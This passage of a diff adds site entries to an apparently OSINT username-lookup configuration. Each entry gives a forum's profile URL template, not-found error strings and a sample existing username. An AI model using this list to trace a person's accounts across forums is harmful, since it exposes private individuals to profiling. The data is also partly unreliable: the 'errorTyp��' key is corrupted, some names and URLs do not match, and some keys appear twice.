"[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://myimmortal.forum24.ru/?32-{}", + "urlMain": "https://myimmortal.forum24.ru", + "usernameON": "de3fmjhhfq", + "bad_site": "" + }, + "Forum_Myjane": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title> - Женские форумы myJane", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Извините,", + "errorTyp��": "message", + "url": "http://forum.myjane.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "http://forum.myjane.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_mymbonline": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mymbonline.com/members/?username={}", + "urlMain": "https://www.mymbonline.com", + "usernameON": "odehboy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mymoscow": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://myslonim.by/index/8-0-{}", + "urlMain": "http://myslonim.by", + "usernameON": "wellnemo", + "bad_site": "" + }, + "Forum_myst": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://myst.ucoz.com/index/8-0-{}", + "urlMain": "https://myst.ucoz.com", + "usernameON": "vetal99977", + "bad_site": "" + }, + "Forum_mystic-school": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.mystic-school.ru/u/{}/summary", + "urlMain": "https://forum.postwrestling.com", + "usernameON": "ivan", + "bad_site": "" + }, + "Forum_mysticalgarland": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mysticalgarland.at.ua/index/8-0-{}", + "urlMain": "https://mysticalgarland.at.ua", + "usernameON": "rusanov19110088", + "bad_site": "" + }, + "Forum_mysurvival": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://mysurvivalforum.com/members/?username={}", + "urlMain": "https://mysurvivalforum.com", + "usernameON": "mekada", + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": 1 + }, + "Forum_mytractor": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mytractorforum.com/members/?username={}", + "urlMain": "https://www.mytractorforum.com", + "usernameON": "fuzzy2", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mytrans": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mytrans.3dn.ru/index/8-0-{}", + "urlMain": "https://mytrans.3dn.ru", + "usernameON": "kirilvoshnovskiy", + "bad_site": "" + }, + "Forum_myvisualdatabase": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No users were", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://myvisualdatabase.com/forum/userlist.php?username={}&show_group=-1&sort_by=username&sort_dir=ASC&search=Search", + "urlMain": "https://myvisualdatabase.com", + "usernameON": "DriveSoft", + "bad_site": "" + }, + "Forum_myword": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://myword.borda.ru/?32-{}", + "urlMain": "https://myword.borda.ru", + "usernameON": "kaccob", + "bad_site": "" + }, + "Forum_myxlam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://myxlam.clan.su/index/8-0-{}", + "urlMain": "https://myxlam.clan.su", + "usernameON": "nagimrasul", + "bad_site": "" + }, + "Forum_mzee": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mzee.com/forum/members/?username={}", + "urlMain": "https://www.mzee.com", + "usernameON": "eduardo", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_n2td": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.n2td.org/index.php?members/&username={}", + "urlMain": "https://forum.n2td.org", + "usernameON": "dylansmall", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nabran": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.nabran.ru/index/8-0-{}", + "urlMain": "http://www.nabran.ru/", + "usernameON": "ghgjjg", + "bad_site": "" + }, + "Forum_nada25": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://nada25.ucoz.ru/index/8-0-{}", + "urlMain": "https://nada25.ucoz.ru", + "usernameON": "svn", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nag": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пожалуйста, подождите", + "errorMsg2": "| Cloudflare", + "errorMsg3": "0 результатов", + "errorTyp��": "message", + "url": "https://forum.nag.ru/index.php?/search/&q={}&start_after=any", + "urlMain": "https://forum.nag.ru", + "usernameON": "frol13", + "bad_site": "" + }, + "Forum_nameberry": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://forum.nameberry.com/u/{}/summary", + "urlMain": "https://forum.nameberry.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_Namepros": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.namepros.com/members/?username={}", + "urlMain": "https://www.namepros.com", + "usernameON": "velted", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_napolimagazine": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Nessun argomento o messaggio", + "errorMsg2": "Al momento non ti", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.napolimagazine.info/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Cerca", + "urlMain": "https://www.napolimagazine.info/", + "usernameON": "pinos", + "bad_site": "" + }, + "Forum_narkomanija": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.narkomanija.ba/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum.narkomanija.ba", + "usernameON": "sanela", + "bad_site": "" + }, + "Forum_narutoshiprus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://narutoshiprus.ucoz.ru/index/8-0-{}", + "urlMain": "https://narutoshiprus.ucoz.ru", + "usernameON": "fint333", + "bad_site": "" + }, + "Forum_nash-dialog": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nash-dialog.com/members/?username={}", + "urlMain": "https://nash-dialog.com", + "usernameON": "nuarr", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nashaplaneta": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользоват", + "errorTyp��": "message", + "url": "https://nashaplaneta.net/forum/memberlist.php?username={}", + "urlMain": "https://nashaplaneta.net", + "usernameON": "nausla", + "bad_site": "" + }, + "Forum_nashausadba": { + "country": "🇺🇦", + "country_klas": "UA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://nashausadba.com.ua/forum/members/?username={}", + "urlMain": "https://nashausadba.com.ua", + "usernameON": "manana", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nashtransport": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.nashtransport.ru/search/?q={}&quick=1&type=blog_entry", + "urlMain": "https://www.nashtransport.ru", + "usernameON": "kventz", + "bad_site": "" + }, + "Forum_nationsglory": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "Erreur", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Pseudo inexistant", + "errorTyp��": "message", + "url": "https://nationsglory.fr/profile/{}", + "urlMain": "https://nationsglory.fr", + "usernameON": "nimomoney", + "bad_site": "" + }, + "Forum_navi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://forum.navi.gg/search?query=&orderByType=relevance&user=+§ion=&calendarDate=", + "urlMain": "https://forum.navi.gg/", + "usernameON": "termenator46", + "bad_site": "" + }, + "Forum_navyclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://navyclub.ucoz.ru/index/8-0-{}", + "urlMain": "https://navyclub.ucoz.ru", + "usernameON": "Delfa", + "bad_site": "" + }, + "Forum_naydemvam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "<title>Информация", + "errorTyp��": "message", + "url": "https://naydemvam.naydemvam.ru/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://naydemvam.naydemvam.ru", + "usernameON": "Urri", + "bad_site": "" + }, + "Forum_nba777": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nba777.ucoz.ru/index/8-0-{}", + "urlMain": "https://nba777.ucoz.ru", + "usernameON": "JustinFem", + "bad_site": "" + }, + "Forum_nbcsportsedge": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W", + "errorMsg": "0 results", + "errorMsg2": "0 user", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.nbcsportsedge.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.nbcsportsedge.com", + "usernameON": "Jtraysfan", + "bad_site": 1 + }, + "Forum_Ne-kurim": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://ne-kurim.ru/members/?username={}", + "urlMain": "https://ne-kurim.ru/", + "usernameON": "gpp", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_necropolis": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://necropolis.ucoz.ru/index/8-0-{}", + "urlMain": "https://necropolis.ucoz.ru", + "usernameON": "RuTOR", + "bad_site": "" + }, + "Forum_nedvizimost": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://nedvizimost.ucoz.ru/index/8-0-{}", + "urlMain": "https://nedvizimost.ucoz.ru", + "usernameON": "natayovzhik", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nemodniy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "НЕМОДНЫЙ КЛУБ.", + "errorTyp��": "message", + "url": "http://forum.nemodniy.ru/member.php?username={}", + "urlMain": "http://forum.nemodniy.ru", + "usernameON": "MEDBEDb", + "comments": "bad", + "bad_site": 1 + }, + "Forum_neodni": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.my-neodni.ucoz.ru/index/8-0-{}", + "urlMain": "http://www.my-neodni.ucoz.ru", + "usernameON": "probe505", + "bad_site": "" + }, + "Forum_neptuneos": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.neptuneos.com/public/u/{}", + "urlMain": "https://forum.neptuneos.com", + "usernameON": "leszek", + "bad_site": "" + }, + "Forum_nerchinsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nerchinsk.ucoz.ru/index/8-0-{}", + "urlMain": "https://nerchinsk.ucoz.ru/", + "usernameON": "tarogadanie11", + "bad_site": "" + }, + "Forum_netcookingtalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://netcookingtalk.com/forums/members/?username={}", + "urlMain": "https://netcookingtalk.com", + "usernameON": "rickismom", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_netdietam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://netdietam.ucoz.ru/index/8-0-{}", + "urlMain": "https://netdietam.ucoz.ru/", + "usernameON": "lomaempochtu", + "bad_site": "" + }, + "Forum_netduma": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.netduma.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.netduma.com", + "usernameON": "vpn", + "bad_site": "" + }, + "Forum_nettractortalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nettractortalk.com/forums/members/?username={}", + "urlMain": "https://www.nettractortalk.com/", + "usernameON": "chennaicontainers", + "comments": "RUblock", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nevendaar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nevendaar.3dn.ru/index/8-0-{}", + "urlMain": "https://nevendaar.3dn.ru", + "usernameON": "Химера", + "bad_site": "" + }, + "Forum_neveroyatno": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://neveroyatno.ucoz.ru/index/8-0-{}", + "urlMain": "https://neveroyatno.ucoz.ru", + "usernameON": "serko78", + "bad_site": "" + }, + "Forum_new-journals": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://new-journals.at.ua/index/8-0-{}", + "urlMain": "https://new-journals.at.ua", + "usernameON": "petrjarik77", + "bad_site": "" + }, + "Forum_new-nedvigimost": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://new-nedvigimost.moy.su/index/8-0-{}", + "urlMain": "https://new-nedvigimost.moy.su", + "usernameON": "olgapet946", + "bad_site": "" + }, + "Forum_newcok": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://newcok.ru/index/8-0-{}", + "urlMain": "http://newcok.ru/", + "usernameON": "Kass", + "bad_site": "" + }, + "Forum_newjerseyhunter": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.newjerseyhunter.com/members/?username={}", + "urlMain": "https://www.newjerseyhunter.com", + "usernameON": "slayer1962", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_newlcn": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Sorry, but that user does not exist.", + "errorMsg2": ">Information</td>", + "errorTyp��": "message", + "url": "http://forum.newlcn.com/profile.php?mode=viewprofile&u={}", + "urlMain": "http://forum.newlcn.com", + "usernameON": "sckameikin22", + "bad_site": "" + }, + "Forum_newload_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://newload.ucoz.ru/index/8-0-{}", + "urlMain": "https://newload.ucoz.ru", + "usernameON": "Shinjitzu", + "bad_site": "" + }, + "Forum_newnissanz": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.newnissanz.com/members/?username={}", + "urlMain": "https://www.newnissanz.com", + "usernameON": "speczracer", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_newpower": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://newpower.at.ua/index/8-0-{}", + "urlMain": "https://newpower.at.ua", + "usernameON": "kot358194", + "bad_site": "" + }, + "Forum_newrider": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://newrider.com/members/?username={}", + "urlMain": "https://newrider.com", + "usernameON": "trewsers", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_newros": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://newros.ru/index/8-0-{}", + "urlMain": "http://newros.ru", + "usernameON": "mrferos921", + "bad_site": "" + }, + "Forum_newschoolers": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Please wait", + "errorMsg2": "Sorry, we couldn't find anything that matched your search query.", + "errorTyp��": "message", + "url": "https://www.newschoolers.com/search?tab=members&s={}", + "urlMain": "https://www.newschoolers.com", + "usernameON": "skierman", + "bad_site": "" + }, + "Forum_next-gazel": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://next-gazel.ru/forum/member.php?username={}", + "urlMain": "https://next-gazel.ru", + "usernameON": "cmd368tv", + "bad_site": "" + }, + "Forum_nexusmods": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.nexusmods.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.nexusmods.com", + "usernameON": "EvilFixer", + "bad_site": "" + }, + "Forum_nf-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://nf-club.ru/index/8-0-{}", + "urlMain": "http://nf-club.ru", + "usernameON": "SloNF", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_ngs": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": " <div class=\"create-a-post actually-show-error", + "errorMsg2": "Результатов, соответствующих Вашему запросу, не найдено", + "errorTyp��": "message", + "url": "https://forum.ngs.ru/search/?words={}&forum=all&match=username&limit=25", + "urlMain": "https://forum.ngs.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_nicolaspark": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nicolaspark.my1.ru/index/8-0-{}", + "urlMain": "https://nicolaspark.my1.ru", + "usernameON": "fox", + "bad_site": "" + }, + "Forum_niflheim": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://niflheim.world/members/?username={}", + "urlMain": "https://niflheim.world", + "usernameON": "mouro3100", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_Night_kharkov": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://night.kharkov.ua/index/8-0-{}", + "urlMain": "http://night.kharkov.ua", + "usernameON": "lauraao1", + "bad_site": "" + }, + "Forum_nikmc": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://nikmc-i.ucoz.ru/index/8-0-{}", + "urlMain": "http://nikmc-i.ucoz.ru", + "usernameON": "zaiacsania", + "bad_site": "" + }, + "Forum_nikola": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nikola-apx.ucoz.ru/index/8-0-{}", + "urlMain": "https://nikola-apx.ucoz.ru", + "usernameON": "Ilya", + "bad_site": "" + }, + "Forum_nikonites": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nikonites.com/forum/members/?username={}", + "urlMain": "https://nikonites.com/", + "usernameON": "weebee", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nikopol": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nikopol.moy.su/index/8-0-{}", + "urlMain": "https://nikopol.moy.su", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_nikos": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://nikos.at.ua/index/8-0-{}", + "urlMain": "https://nikos.at.ua", + "usernameON": "Saymon", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nim-lang": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.nim-lang.org/profile/{}", + "urlMain": "https://forum.nim-lang.org", + "usernameON": "SolitudeSF", + "bad_site": "" + }, + "Forum_nintendo": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nintendoforums.com/members/?username={}", + "urlMain": "https://www.nintendoforums.com", + "usernameON": "dustinb12", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nissan": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nissanforums.com/members/?username={}", + "urlMain": "https://www.nissanforums.com", + "usernameON": "weeaboo123", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nissanclub": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nissanclub.com/members/?username={}", + "urlMain": "https://www.nissanclub.com", + "usernameON": "administrator", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nissanzclub": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nissanzclub.com/forum/members/?username={}", + "urlMain": "https://www.nissanzclub.com", + "usernameON": "mcn1smo", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_njofficer": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "Contact your hosting provider", + "errorTyp��": "message", + "url": "https://www.njofficer.com/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.njofficer.com", + "usernameON": "JRoberts", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_nkp": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nn2000.ucoz.ru/index/8-0-{}", + "urlMain": "https://nn2000.ucoz.ru", + "usernameON": "nn2000", + "bad_site": "" + }, + "Forum_nocd": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nocd.ru/index/8-0-{}", + "urlMain": "https://nocd.ru", + "usernameON": "Fridrih", + "bad_site": "" + }, + "Forum_noginsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://noginsk.ucoz.com/index/8-0-{}", + "urlMain": "https://noginsk.ucoz.com", + "usernameON": "Skyler", + "bad_site": "" + }, + "Forum_nohide": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://nohide.io/members/?username={}", + "urlMain": "https://nohide.io", + "usernameON": "gamerocs", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nokia6230i": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://nokia6230i.ucoz.ru/index/8-0-{}", + "urlMain": "https://nokia6230i.ucoz.ru", + "usernameON": "Dim0271", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nokiasoft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "url": "https://nokiasoft.3dn.ru/index/8-0-{}", + "urlMain": "https://nokiasoft.3dn.ru", + "usernameON": "OOccuts", + "bad_site": "", + "comments": "bad", + "exclusion": "\\W" + }, + "Forum_nomadbsd": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.nomadbsd.org/u/{}/summary", + "urlMain": "https://forum.nomadbsd.org", + "usernameON": "borgio3", + "bad_site": "" + }, + "Forum_nonarko": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum-nonarko.ru/members/?username={}", + "urlMain": "https://forum-nonarko.ru", + "usernameON": "GAVR", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nooneaboveus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "url": "https://nooneaboveus.ucoz.ru/index/8-0-{}", + "urlMain": "https://nooneaboveus.ucoz.ru", + "usernameON": "Лана", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nordog": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nordog.ucoz.ru/index/8-0-{}", + "urlMain": "https://nordog.ucoz.ru", + "usernameON": "gutan1201", + "bad_site": "" + }, + "Forum_northernbrewer": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.northernbrewer.com/users/{}/activity", + "urlMain": "https://forum.northernbrewer.com", + "usernameON": "joonze", + "bad_site": "" + }, + 